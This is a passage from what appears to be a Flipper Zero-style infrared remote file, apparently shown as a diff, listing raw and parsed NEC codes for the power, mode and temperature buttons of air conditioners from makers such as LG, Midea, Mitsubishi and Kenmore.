563 541 560 543 558 545 567 538 563 540 561 543 558 545 567 537 564 540 561 542 559 544 568 536 565 539 562 541 560 570 542 536 565 538 563 541 560 543 558 546 565 538 563 540 561 543 558 571 541 537 564 540 561 542 559 545 567 537 564 539 562 542 559 544 568 536 565 539 562 541 560 544 568 536 565 538 563 541 560 543 569 535 566 538 563 541 560 543 569 535 566 538 563 541 560 543 569 536 565 538 563 541 560 544 567 536 565 539 562 542 559 544 567 537 564 539 562 542 559 544 568 537 564 539 562 542 559 544 568 537 564 539 562 542 559 545 567 537 564 540 561 542 559 545 566 537 564 540 561 543 558 545 567 538 563 541 560 543 569 536 565 538 563 541 560 544 568 536 565 539 562 542 559 544 568 1645 558 546 566 1646 567 537 564 540 561 1651 562 541 560 544 568 563 538 539 562 541 560 544 567 536 565 539 562 541 560 544 567 537 564 539 562 542 559 544 568 537 564 540 561 542 559 545 566 1645 558 546 566 1646 567 537 564 540 561 1651 562 541 560 544 588 # +name: MODE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8955 4430 563 541 560 543 558 545 567 537 564 539 562 1649 564 1648 565 537 564 540 561 542 559 544 568 1644 559 1653 560 1651 562 541 560 543 558 1653 560 1652 561 542 559 544 568 1644 559 545 567 537 564 539 562 541 560 543 558 545 567 537 564 539 562 541 560 543 558 546 566 538 563 540 561 542 559 544 568 536 565 539 562 541 560 543 558 546 566 538 563 540 561 542 559 545 567 536 565 539 562 541 560 543 558 545 567 537 564 540 561 542 559 544 568 536 565 538 563 541 560 543 558 545 567 537 564 539 562 541 560 543 569 535 566 538 563 540 561 542 559 544 568 536 565 539 562 541 560 543 558 545 567 537 564 539 562 542 559 544 568 536 565 538 563 541 560 543 558 545 567 537 564 540 561 542 559 544 568 537 564 539 562 541 560 544 568 536 565 538 563 541 560 543 558 546 566 538 563 540 561 542 559 545 567 537 564 539 562 541 560 544 568 536 565 538 563 540 561 543 558 545 567 538 563 540 561 543 558 545 567 537 564 540 561 542 559 544 568 537 564 539 562 542 559 544 568 536 565 539 562 541 560 544 568 536 565 539 562 541 560 544 568 536 565 538 563 541 560 543 569 536 565 538 563 541 560 543 569 536 565 538 563 541 560 543 558 546 566 538 563 541 560 543 558 546 566 538 563 541 560 543 569 536 565 538 563 541 560 543 558 546 566 1646 567 1645 568 536 565 539 562 542 559 544 568 536 565 539 562 541 560 544 568 536 565 539 562 541 560 544 568 536 565 539 562 541 560 544 568 536 565 539 562 541 560 544 568 536 565 539 562 1649 564 1649 564 539 562 542 559 545 567 537 564 540 592 +# +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8952 4436 568 536 565 538 563 540 561 542 559 544 568 1645 558 1654 559 544 568 536 565 539 562 541 560 1652 561 1651 562 1650 563 540 561 542 559 1654 559 1653 560 543 558 545 567 1646 567 537 564 539 562 541 560 544 568 536 565 538 563 540 561 543 558 545 567 537 564 540 561 543 558 545 567 537 564 540 561 542 559 544 568 563 538 539 562 541 560 544 557 546 566 564 537 540 561 543 558 545 567 537 564 540 561 542 559 545 567 537 564 539 562 542 559 544 568 536 565 538 563 541 560 543 558 546 566 538 563 541 560 543 558 546 566 538 563 541 560 543 558 546 566 538 563 541 560 543 558 546 566 538 563 541 560 543 558 546 566 538 563 567 534 544 568 536 565 538 563 541 560 544 568 536 565 538 563 541 560 544 568 536 565 539 562 541 560 544 568 562 539 539 562 542 559 570 542 537 564 539 562 542 559 545 566 537 564 540 561 543 558 545 567 538 563 540 561 569 532 572 540 538 563 540 561 543 558 546 566 538 563 541 560 543 569 536 565 539 562 541 560 544 568 536 565 539 562 542 559 544 568 537 564 540 561 543 558 571 541 538 563 541 560 543 558 546 566 538 563 541 560 570 542 536 565 565 536 541 560 544 568 536 565 539 562 542 559 544 568 537 564 540 561 543 558 545 567 538 563 541 560 543 558 546 566 538 563 541 560 544 568 1645 568 536 565 539 562 541 560 544 568 536 565 539 562 542 559 545 567 538 563 540 561 543 558 546 566 538 563 541 560 544 568 536 565 539 562 542 559 545 567 537 564 540 562 543 558 545 567 1647 566 538 563 541 560 544 568 536 565 539 562 541 560 544 588 +# +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8954 4428 565 539 562 542 559 544 567 537 564 540 561 1650 563 1650 563 540 561 543 558 546 566 538 563 1649 564 1649 564 1648 565 539 562 542 559 1653 560 1652 561 543 558 546 565 1647 566 537 564 540 561 543 558 545 566 537 564 540 561 542 559 545 567 537 564 539 562 542 559 544 568 537 564 539 562 542 559 544 567 537 564 539 562 542 559 544 568 537 564 539 562 542 559 544 568 536 565 539 562 542 559 544 568 537 564 539 562 542 559 544 568 537 564 539 562 542 559 545 567 537 564 540 561 542 559 545 567 537 564 540 561 543 558 546 565 538 563 541 560 544 568 536 565 539 562 542 559 544 568 537 564 540 561 542 559 545 567 538 563 540 561 543 558 546 566 538 563 541 560 544 568 536 565 539 562 542 559 545 567 537 564 540 561 543 558 546 566 538 563 541 560 544 567 537 564 539 562 542 559 545 566 538 563 541 560 543 558 546 566 565 536 542 559 544 568 537 564 540 561 543 558 545 567 538 563 541 560 544 568 537 564 539 562 542 559 545 567 538 563 541 560 544 568 536 565 539 562 542 559 545 566 538 563 541 560 544 568 536 565 539 562 542 559 545 567 538 563 541 560 544 568 537 564 540 561 543 558 545 567 538 563 541 560 544 568 536 565 539 562 542 559 545 566 538 563 541 560 544 568 537 564 540 561 543 558 545 566 538 563 541 560 1653 560 543 558 547 565 539 562 542 559 545 567 537 564 540 561 543 569 536 565 539 562 542 559 544 568 537 564 540 561 543 558 546 566 538 563 541 560 544 568 537 564 540 561 543 558 546 566 1647 566 538 563 541 560 544 568 537 564 540 561 542 590 +# +# Honeywell MN10CESS AC +# +name: POWER +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 02 00 00 00 +# +name: TEMP+ +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: TEMP- +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 11 00 00 00 +# +name: MODE +type: parsed +protocol: NEC +address: 20 00 00 00 +command: 09 00 00 00 +# +# Insigna AC NSRC2AC9 +# name: POWER type: parsed protocol: NECext address: 10 E7 00 00 command: 00 FF 00 00 # +name: TEMP+ +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 15 EA 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 0D F2 00 00 +# +# Inventum AC +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 4421 4375 565 1616 560 560 533 1626 560 1621 565 554 539 556 537 1617 559 564 539 557 536 1622 564 556 537 558 535 1619 567 1614 562 558 535 1625 561 561 542 1613 563 1618 620 1560 564 1616 560 560 533 1625 561 1622 564 1622 564 555 538 556 537 558 535 559 534 1619 567 553 540 557 536 1623 563 1618 558 1622 564 556 537 557 536 558 535 559 534 562 541 554 539 555 538 556 537 1621 565 1616 560 1620 566 1614 562 1619 557 5232 4422 4363 567 1614 562 557 536 1648 538 1616 560 560 533 561 532 1622 564 558 535 561 532 1626 560 560 533 561 532 1622 564 1616 560 560 533 1653 533 563 540 1639 537 1618 568 1613 563 1617 559 561 532 1652 534 1623 563 1622 564 556 537 557 536 558 535 559 534 1645 541 553 540 556 537 1622 564 1617 559 1621 565 554 539 555 538 556 537 557 536 560 533 563 540 553 540 554 539 1645 541 1612 564 1617 559 1622 564 1618 558 # +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4420 4379 561 1618 558 536 567 1617 559 1621 565 529 564 530 563 1617 559 537 566 556 537 1621 565 529 564 530 563 1617 559 1621 565 529 564 1649 537 532 561 560 533 561 532 1622 564 1616 560 1620 566 1614 562 1646 540 1620 566 1614 562 1619 567 553 540 528 565 529 564 530 563 533 560 562 541 1617 559 535 558 536 567 1612 564 556 537 531 562 560 533 1623 563 556 537 1621 565 1614 562 558 535 1623 563 1643 533 1622 564 5224 4420 4364 566 1613 563 531 562 1622 564 1616 560 533 560 534 559 1622 564 531 562 534 559 1625 561 532 561 533 560 1620 566 1614 562 532 561 1651 535 561 532 535 568 526 567 1614 562 1618 558 1622 564 1616 560 1622 564 1622 564 1616 560 1620 566 527 566 528 565 529 564 556 537 533 560 536 567 1617 559 560 533 535 558 1622 564 530 563 530 563 533 560 1622 564 530 563 1620 566 1614 562 558 535 1624 562 1643 533 1624 562 +# +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4424 4381 559 1621 565 529 564 1647 539 1615 561 533 560 534 559 1648 538 532 561 535 1627 559 560 533 535 568 1639 537 1617 559 535 568 1618 568 554 539 556 537 531 562 1618 558 1649 537 1617 559 1621 565 1644 532 1628 558 1622 564 1616 560 534 559 562 541 552 541 527 566 557 536 560 533 1625 561 559 534 1625 561 1619 567 553 540 528 565 532 561 1621 565 529 564 1647 539 528 565 556 537 1617 559 1621 565 1616 560 5229 4425 4363 567 1613 563 557 536 1622 564 1617 559 561 532 562 541 1613 563 559 534 562 541 1617 559 535 568 552 541 1613 563 1617 559 562 541 1618 568 528 565 529 564 556 537 1618 558 1622 564 1616 560 1646 540 1642 534 1627 559 1647 539 1615 561 533 560 561 532 562 541 527 566 556 537 559 534 1624 562 558 535 1623 563 1643 533 561 542 526 567 555 538 1619 567 527 566 1618 558 536 567 527 566 1641 535 1619 567 1617 559 +# +# Kenmore Window AC +# name: POWER type: parsed protocol: NECext address: 08 F5 00 00 command: 11 EE 00 00 # +name: TEMP+ +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 0E F1 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 08 F5 00 00 +command: 0D F2 00 00 +# +# Koldfront_WAC12001 +# name: POWER type: parsed protocol: NECext address: 01 FF 00 00 command: 12 ED 00 00 # +name: MODE +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 02 FD 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 13 EC 00 00 +# +name: TEMP+ +type: parsed +protocol: NECext +address: 01 FF 00 00 +command: 1A E5 00 00 +# +# LG Home AC +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 8445 4206 542 1566 541 539 519 534 514 541 517 1564 543 537 521 533 515 539 519 534 514 540 518 536 512 542 516 537 521 532 516 538 520 534 514 1568 539 541 517 536 522 1560 547 533 515 1567 540 540 518 536 512 1570 547 1561 546 534 514 1568 539 # +# LG AC LP1417GSR +# +name: MODE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8976 4374 594 1635 593 1638 590 533 591 536 599 531 593 539 596 541 594 1642 597 517 597 1632 597 1634 594 531 593 537 598 535 600 535 590 534 590 1635 593 526 598 523 591 535 600 529 596 537 598 538 597 529 595 521 593 527 597 1635 593 534 601 528 596 536 599 537 598 529 595 521 593 528 597 527 597 528 596 533 591 542 593 546 599 528 596 521 593 526 598 525 599 526 598 531 593 539 596 541 594 514 590 7877 600 516 598 521 593 529 595 531 593 537 598 534 591 1654 595 1641 598 517 597 521 593 530 594 533 591 538 597 536 599 539 596 531 593 523 601 519 595 528 596 529 596 532 592 539 596 538 597 525 589 523 591 525 599 520 594 530 594 533 591 540 595 541 594 531 593 520 594 524 590 531 593 530 594 531 593 537 598 536 599 525 599 516 598 522 592 530 594 532 592 537 598 536 599 538 597 529 595 519 595 524 600 522 592 532 592 537 598 534 590 544 591 536 599 1626 592 526 598 1633 595 529 595 534 601 533 591 1655 594 1625 593 7883 595 522 592 530 594 529 595 532 592 537 598 536 599 537 598 528 596 518 596 1634 594 1642 597 528 597 533 591 541 594 543 592 535 600 516 598 521 593 528 596 528 597 531 593 538 597 538 597 528 597 519 595 523 591 529 595 529 595 532 592 538 597 538 597 1641 598 518 596 524 590 532 592 1642 597 1644 595 1652 597 540 595 532 592 525 599 521 593 530 594 532 592 537 598 536 599 538 597 530 594 521 593 1641 598 1638 590 1647 592 1650 599 1647 592 545 600 1622 596 +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 8971 4413 598 1634 595 1641 599 526 599 529 596 533 592 541 594 541 594 1646 594 525 600 1633 596 1645 595 533 592 540 595 538 597 539 596 528 597 1629 600 520 594 526 599 526 599 530 595 537 598 538 597 530 595 523 591 1639 601 524 601 527 598 1643 597 537 598 539 596 531 594 522 592 528 597 527 598 530 595 536 599 534 591 546 600 526 599 517 597 521 593 528 597 528 597 532 593 541 594 544 591 519 595 7883 598 520 594 525 600 524 590 535 600 529 596 539 596 1651 599 1639 601 515 599 522 592 531 594 532 593 538 597 536 599 538 597 528 597 518 596 525 600 523 591 534 591 537 598 533 592 546 600 527 598 518 596 523 591 531 594 531 594 536 599 534 591 545 601 526 599 517 597 521 593 529 596 530 595 536 599 532 593 542 593 532 593 522 592 526 599 522 592 535 600 532 593 540 595 541 594 533 592 524 601 519 595 528 597 529 596 535 600 534 601 537 598 527 598 1627 592 1637 592 531 594 533 592 1652 598 537 598 1652 598 1623 596 7882 599 519 595 525 600 522 592 534 591 538 597 535 590 547 599 528 597 518 596 1634 595 1639 601 525 600 530 595 539 596 541 594 532 593 523 591 529 596 527 598 528 597 533 592 541 594 542 593 532 593 525 600 522 592 531 594 533 592 538 597 535 600 537 598 527 598 518 596 522 592 530 595 1646 594 1652 598 1650 600 538 597 530 595 521 593 527 598 526 599 529 596 534 591 543 592 546 600 527 598 519 595 1636 593 1640 600 1639 601 1644 596 1651 599 539 596 514 590 # +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 8916 4470 593 1635 594 1638 591 530 595 531 594 536 599 534 591 544 591 1644 596 519 595 1638 591 1643 597 530 595 534 601 533 592 544 591 534 591 1635 594 526 599 525 600 528 597 532 593 540 595 541 594 533 592 524 590 1639 590 533 592 534 591 539 596 1648 592 545 590 536 599 516 599 521 593 529 596 529 596 533 592 541 594 541 594 532 593 524 591 529 596 527 598 528 597 531 594 538 597 538 597 509 595 7878 592 525 600 520 594 528 597 531 594 534 591 541 594 1653 597 1643 597 521 593 528 597 527 598 529 596 534 591 543 592 545 590 536 599 517 597 521 593 529 596 531 594 536 599 535 600 537 598 528 597 518 596 522 592 530 595 532 593 537 598 535 590 546 589 536 599 517 597 523 591 533 592 534 601 529 596 538 597 540 595 533 592 524 590 528 597 525 600 526 599 531 594 538 597 540 595 530 595 520 594 524 590 530 595 531 594 536 599 533 592 543 592 534 591 1638 591 1642 598 526 599 529 596 535 600 1644 596 1655 595 1624 595 7885 596 520 594 524 591 532 593 534 591 539 596 536 599 536 599 526 599 516 598 1631 598 525 600 528 597 533 592 543 592 544 591 536 599 516 598 521 593 529 596 530 595 535 600 532 593 544 591 534 591 525 600 519 595 526 599 527 598 532 593 541 594 542 593 532 593 522 592 526 599 525 600 1638 591 1648 592 1654 596 541 594 534 591 525 590 528 597 527 598 529 596 534 591 543 592 545 601 526 599 517 597 1632 597 526 599 1642 598 1647 593 1653 597 540 595 513 591 +# +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9007 4379 601 1628 591 1643 597 526 599 529 596 537 598 535 600 538 597 1641 599 517 597 1632 597 1639 590 535 600 529 596 537 598 536 599 526 599 1630 599 521 593 533 592 535 600 531 594 541 594 543 592 534 591 525 600 1630 599 525 600 530 595 1647 593 540 595 543 592 533 592 524 590 528 597 526 599 528 597 533 592 540 595 543 592 535 600 517 597 522 592 530 595 532 593 535 590 542 593 543 592 516 598 7876 594 523 591 528 597 528 597 531 594 538 597 537 598 1651 599 1639 590 525 600 520 594 529 596 531 594 535 590 543 592 544 591 534 591 524 590 529 596 526 599 527 598 531 594 539 596 540 595 529 596 520 594 525 600 522 592 533 592 538 597 536 599 538 597 529 596 519 595 525 600 523 591 535 600 531 594 539 596 541 594 533 592 524 590 528 597 524 590 536 599 531 594 538 597 540 595 531 594 523 591 530 595 529 596 530 595 536 599 534 591 547 599 528 597 1632 597 1637 592 532 593 536 599 1641 599 535 600 1651 599 1623 596 7879 591 526 599 520 594 527 598 528 597 532 593 538 597 538 597 528 597 519 595 1636 593 529 596 533 592 538 597 537 598 541 594 534 591 527 598 523 591 532 593 533 592 540 595 538 597 540 595 532 593 524 601 519 595 528 597 529 596 534 591 544 591 547 599 529 596 520 594 526 599 524 590 1645 595 1646 594 1653 597 541 594 534 591 525 600 519 595 528 597 529 596 535 600 533 592 546 600 528 597 520 594 1637 592 532 593 1647 593 1649 591 1656 594 543 592 518 596 +# +# LG AC +# name: POWER type: parsed protocol: NECext address: 81 66 00 00 command: 81 7E 00 00 # +name: TEMP- +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 8A 75 00 00 +# +name: TEMP+ +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 85 7A 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 81 66 00 00 +command: 9B 64 00 00 +# +# LG Portable AC LP1015WNR +# +name: POWER +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 00 FF 00 00 +# +name: TEMP+ +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 15 EA 00 00 +# +name: TEMP- +type: parsed +protocol: NECext +address: 10 E7 00 00 +command: 0D F2 00 00 +# +# Midea_AC_MAW05R1WBL +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 4459 4369 593 1562 590 487 599 1555 597 481 595 482 594 483 593 485 591 1563 599 1555 596 481 595 482 594 484 592 485 591 486 590 1565 597 479 596 481 594 1559 593 1562 590 1565 597 1557 595 482 594 484 592 485 591 1564 598 1556 596 1559 593 1561 591 1564 598 1556 596 1558 594 1561 591 1564 598 1556 595 1559 593 1561 591 1564 598 1556 596 1559 593 1561 591 486 590 1565 597 1557 595 1559 593 1562 590 488 598 478 598 479 597 5158 4453 4375 597 480 595 1558 594 484 592 1563 589 1565 597 1558 594 1560 592 485 591 487 589 1565 597 1557 594 1560 592 1562 590 1565 597 479 596 1558 594 1561 591 486 590 488 598 478 598 480 596 1558 594 1561 591 1563 599 478 598 479 596 481 595 482 594 484 592 485 591 486 600 478 598 479 597 480 595 481 595 483 593 484 592 485 591 487 589 488 598 1555 596 481 594 483 593 484 592 485 591 1564 598 1556 596 1559 593 # +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4428 4402 570 1584 568 510 566 1588 564 513 563 514 562 542 544 507 569 1586 566 1588 564 513 563 541 535 542 544 533 543 535 541 1588 564 513 563 541 545 1583 569 1586 565 1589 563 514 562 542 544 1584 568 536 540 1589 563 1592 570 1584 568 1587 564 1591 561 1594 568 1586 566 1590 572 1582 570 1585 567 1588 564 1591 561 1594 568 1586 566 1589 573 1592 533 543 1586 566 1589 562 1592 570 533 543 1586 565 1589 563 1592 570 5186 4456 4374 567 510 566 1589 563 541 535 1593 569 1586 565 1589 563 1592 570 533 542 535 541 1587 565 1591 560 1594 568 1586 566 1589 563 541 535 1594 568 1586 566 538 538 539 537 541 535 1593 569 1586 566 537 539 1589 562 515 560 543 543 534 541 536 540 537 539 539 537 514 562 542 544 533 542 534 541 536 540 537 539 539 537 540 546 531 545 533 542 1586 566 537 539 512 564 540 536 1593 569 534 541 536 540 537 539 +# +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4426 4404 568 1587 564 538 538 1591 561 543 543 534 542 536 539 537 539 1589 563 1618 544 533 543 535 541 536 540 538 538 539 537 1591 561 543 543 534 542 1586 565 1616 536 1593 569 534 542 536 540 1614 538 1617 545 1583 569 1587 564 1616 536 1593 569 1585 567 1588 564 1591 561 1594 568 1586 566 1588 564 1591 561 1594 568 1587 565 1589 563 1592 570 1585 567 536 540 1589 562 1592 570 1584 568 536 540 1589 563 1591 571 533 542 5187 4424 4405 567 536 540 1588 563 541 535 1593 569 1585 567 1588 574 1581 571 533 542 535 541 1587 565 1616 536 1592 570 1585 567 1588 564 539 537 1592 570 1584 568 536 540 538 538 539 537 1618 544 1610 542 536 540 538 538 539 537 541 545 532 544 533 543 535 541 536 540 537 539 539 537 540 536 542 534 543 543 534 542 536 540 537 539 539 537 540 546 1608 544 534 542 535 541 537 539 1615 537 541 535 543 543 1584 568 +# +name: MODE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4408 4423 570 1585 567 537 539 1590 561 542 544 533 542 535 541 537 539 1589 563 1593 569 534 541 1588 563 539 537 541 545 532 543 534 541 536 539 537 539 1590 562 1593 569 1586 566 538 538 539 537 1592 570 1585 567 1587 565 1590 561 1594 568 1586 565 1590 561 1593 569 1586 566 1589 562 1592 570 1584 568 1587 564 1590 561 1594 568 1586 565 1590 572 1583 568 534 541 1588 564 540 536 1593 569 534 541 1587 564 539 537 1592 570 5186 4455 4374 567 537 539 1590 561 542 544 1584 567 1588 563 1591 560 1594 568 535 541 537 539 1590 561 541 545 1584 568 1587 564 1590 561 1593 569 1586 565 1589 562 540 536 542 544 533 542 1586 566 1588 563 540 536 542 544 533 542 535 540 537 539 538 538 539 537 541 535 542 544 534 541 535 540 537 539 538 537 540 536 541 545 532 543 534 541 536 539 1589 562 540 536 1593 569 534 541 1588 563 540 535 1593 569 534 541 +# +# Mitsubishi AC MSG-GE10VA +# name: POWER type: raw frequency: 38000 duty_cycle: 0.330000 data: 3472 1691 441 1285 464 1265 443 451 408 459 410 456 434 1266 462 404 434 431 459 1271 437 1317 432 410 459 1293 435 407 431 436 433 1321 428 1273 435 432 458 1270 438 1314 414 426 433 432 458 1296 412 427 463 408 441 1312 406 432 437 432 437 456 434 411 438 425 465 404 434 433 457 414 455 414 455 414 434 430 460 410 439 423 436 432 458 411 438 425 434 459 410 430 439 428 462 405 433 1317 411 427 463 430 408 432 468 439 441 406 432 1318 431 1268 440 425 454 416 463 404 434 1291 437 1284 455 443 437 1265 432 434 456 413 435 436 433 432 437 456 434 1296 432 1266 462 409 460 1265 463 1309 409 429 461 410 439 1287 441 1284 434 433 436 429 440 424 435 1317 411 1312 406 459 431 414 435 1286 463 1265 463 408 441 1280 459 1269 439 1311 407 434 435 460 430 413 435 434 435 427 463 411 438 427 442 423 436 431 438 428 441 450 409 434 435 456 434 413 456 411 437 428 431 460 409 433 436 431 438 429 440 427 442 422 437 426 433 445 435 457 412 432 437 428 441 452 407 436 464 403 456 413 466 407 441 428 441 428 462 411 437 426 464 405 433 434 435 429 440 427 442 425 434 429 440 426 433 434 435 432 437 434 456 416 432 432 458 409 440 1288 440 1283 435 1288 441 429 440 453 406 1295 433 1290 439 426 443 17056 3607 1696 457 1271 437 1291 438 429 461 411 469 407 462 1292 405 461 408 433 436 1287 462 1265 432 435 434 1289 460 411 458 409 439 1286 463 1267 441 426 433 1319 409 1314 414 455 414 453 406 1295 433 431 459 435 434 1269 460 410 459 410 439 452 438 405 433 430 439 427 463 407 441 421 438 429 440 426 433 435 455 412 436 428 462 409 460 409 440 425 434 460 409 457 412 431 438 427 432 1293 435 429 440 425 434 429 440 426 433 430 439 1284 434 1315 413 425 465 405 433 434 435 1286 463 1264 464 407 462 1266 442 425 465 405 464 409 440 425 434 458 432 1271 457 1270 438 429 461 1298 410 1318 410 454 436 410 438 1282 457 1271 437 430 439 430 439 430 460 1270 438 1288 440 426 433 463 437 1266 442 1282 457 415 433 1290 439 1282 436 1290 438 452 407 430 439 428 441 421 438 429 440 427 463 406 442 421 459 410 459 408 461 408 440 426 433 456 413 430 470 408 440 450 430 422 457 414 434 431 438 428 441 424 455 413 435 432 437 430 439 425 465 407 441 449 410 431 459 408 461 417 463 409 439 425 434 433 436 431 438 427 463 406 463 410 439 431 438 424 435 432 437 452 438 405 433 460 409 454 436 409 439 427 442 449 431 417 442 429 440 1281 437 1286 432 1291 458 413 435 432 468 1277 431 1295 464 402 457 +# +name: TEMP+ +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3469 1701 462 1263 434 1289 439 428 441 426 464 407 441 1311 428 441 407 431 438 1287 462 1290 407 457 433 1267 441 424 455 414 455 1274 465 1290 407 435 455 1297 431 1299 429 416 463 432 406 1317 411 429 461 406 442 1281 437 430 460 409 460 407 441 450 429 417 462 405 464 407 441 426 433 432 437 427 442 425 434 460 409 431 438 427 432 437 463 404 465 402 436 431 438 427 442 425 465 1306 433 437 411 455 435 406 442 425 434 435 455 1275 443 1307 442 405 433 461 429 422 457 412 457 410 438 1313 436 1268 440 438 462 436 412 425 465 403 435 458 442 1294 434 1268 440 451 439 1269 459 1292 436 431 407 438 462 1270 438 1288 461 432 437 430 408 443 457 1295 433 1293 435 431 438 1287 431 1295 433 1297 431 411 458 1270 438 1317 411 1312 437 405 433 436 433 458 432 409 440 428 441 423 436 429 440 436 464 403 435 434 456 437 411 427 432 438 462 407 431 438 462 409 439 430 439 432 458 413 435 430 460 433 415 425 434 431 438 455 414 427 442 423 436 429 461 408 440 451 408 439 461 410 438 426 433 435 434 432 437 428 462 407 462 409 460 407 462 405 433 434 435 434 435 434 456 411 437 454 415 423 456 413 435 429 440 429 440 425 434 1318 431 438 410 432 458 1273 434 443 457 1268 460 1266 462 406 463 17223 3603 1724 408 1318 410 1287 441 449 410 455 414 425 434 1316 412 426 464 429 409 1290 438 1285 433 432 437 1313 436 407 441 423 436 1316 412 1314 414 428 441 1285 464 1263 465 428 410 431 459 1269 439 452 407 434 466 1273 455 413 456 416 463 403 435 456 434 407 462 412 457 412 436 432 437 432 437 432 437 428 441 452 407 434 435 432 458 411 437 454 436 409 439 428 462 414 455 411 458 1268 440 427 442 451 408 433 457 410 459 412 457 1295 413 1311 407 462 438 405 433 434 456 411 437 429 440 1314 435 1265 432 458 442 436 412 455 435 417 462 433 436 1265 463 1291 437 403 435 1315 434 1300 408 433 457 410 438 1314 414 1283 435 458 411 432 437 430 460 1294 414 1310 439 403 435 1289 439 1310 439 1267 461 419 440 1310 408 1289 439 1286 442 427 463 408 461 410 438 427 463 404 434 433 436 429 461 406 432 435 434 430 439 426 464 405 433 432 437 436 464 408 440 450 409 432 437 430 470 410 459 412 457 410 438 428 431 441 438 428 441 428 441 426 433 432 437 428 441 425 465 403 435 434 435 432 458 411 437 427 442 449 410 433 457 413 456 413 435 432 437 429 440 451 408 437 442 425 465 409 439 436 464 405 433 432 437 427 442 425 434 1316 412 433 457 410 459 1269 459 407 462 1292 415 1284 434 433 436 +# +name: TEMP- +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3467 1703 460 1266 441 1281 437 430 439 455 435 410 438 1287 462 407 441 450 409 1290 459 1266 442 450 430 1269 439 453 406 437 463 1267 461 1266 442 454 436 1266 441 1310 429 412 457 436 433 1295 433 409 439 428 431 1321 428 414 465 402 436 436 433 445 455 416 432 432 437 430 439 428 462 418 461 410 459 434 414 426 433 439 440 453 406 437 432 435 434 430 439 426 433 434 456 437 411 1290 438 453 437 404 434 435 434 435 434 435 465 1262 456 1296 411 453 406 438 441 423 436 1316 433 1293 435 409 439 1289 439 428 462 409 439 454 415 426 433 434 435 1290 438 1287 441 424 435 1288 440 1283 435 468 432 408 440 1283 456 1272 436 458 432 418 461 408 440 1308 431 1269 459 407 462 1303 415 1285 433 1292 436 429 440 1283 435 1293 456 1270 438 455 414 425 434 457 412 431 438 429 440 429 440 425 434 431 438 428 462 445 434 406 463 409 439 425 434 431 459 408 440 427 432 437 442 425 434 431 438 426 433 461 429 412 436 432 437 430 460 409 439 452 407 432 437 432 458 411 458 411 437 429 440 427 442 423 436 435 434 433 457 417 431 444 456 414 434 430 439 452 407 434 435 458 411 429 440 454 405 438 431 438 441 423 456 411 437 429 461 413 435 434 435 434 435 1287 462 432 406 1293 456 1271 457 412 436 17062 3577 1724 460 1266 442 1308 410 457 433 408 440 425 434 1293 456 416 432 459 431 1268 440 1284 455 412 436 1289 439 430 439 430 439 1310 408 1289 439 428 462 1268 440 1286 442 422 457 412 457 1297 411 428 441 426 433 1293 456 411 437 430 439 428 462 409 439 428 441 423 436 429 461 409 439 429 440 429 440 451 408 435 455 415 433 433 436 431 459 408 440 425 454 414 465 406 463 404 465 1260 437 430 439 428 441 426 464 403 466 406 432 1292 457 1269 459 408 440 451 408 435 455 1272 456 1278 461 407 462 1265 442 451 408 459 410 431 438 431 438 429 440 1309 409 1288 440 425 454 1271 457 1268 460 411 437 430 439 1295 454 1271 437 431 438 429 440 427 442 1283 455 1272 436 434 456 1296 412 1285 464 1262 435 431 459 1267 461 1264 433 1291 458 413 435 429 461 409 439 430 439 452 407 434 435 456 413 454 415 423 456 411 458 408 440 429 461 406 442 449 410 457 433 415 433 436 433 436 433 436 433 436 433 458 411 429 440 427 432 435 465 404 434 431 459 412 436 431 469 407 462 405 464 402 436 431 438 431 438 458 432 408 440 425 434 457 433 410 438 453 406 437 432 433 436 455 414 426 433 432 458 409 439 454 436 407 462 407 441 428 431 436 433 434 435 458 432 1269 439 431 438 1287 462 1266 442 425 434 +# +name: MODE +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3467 1697 456 1270 458 1306 412 424 456 440 408 432 437 1315 413 427 442 451 408 1321 438 1293 435 405 433 1319 430 411 437 455 414 1312 416 1307 432 435 413 1286 463 1291 417 422 437 457 412 1313 436 438 410 454 405 1292 436 431 438 424 435 432 458 438 410 432 437 454 436 410 438 452 407 430 439 430 460 409 460 411 437 427 442 425 434 431 459 415 433 458 432 417 442 432 458 414 434 1315 413 423 436 458 411 434 456 417 442 432 437 456 413 1308 431 412 436 427 463 406 463 404 465 404 434 433 436 1314 435 410 438 426 464 432 406 434 435 432 437 1287 462 405 433 462 407 1318 410 1316 433 438 410 430 439 1285 433 1292 436 431 459 412 436 431 459 1269 439 1316 412 428 431 1321 407 1318 410 1316 433 409 440 1308 431 1298 430 1297 431 436 412 428 462 436 412 428 431 436 464 405 433 432 437 432 437 429 461 448 411 428 462 412 436 428 441 448 431 411 437 456 413 454 405 436 433 460 409 427 432 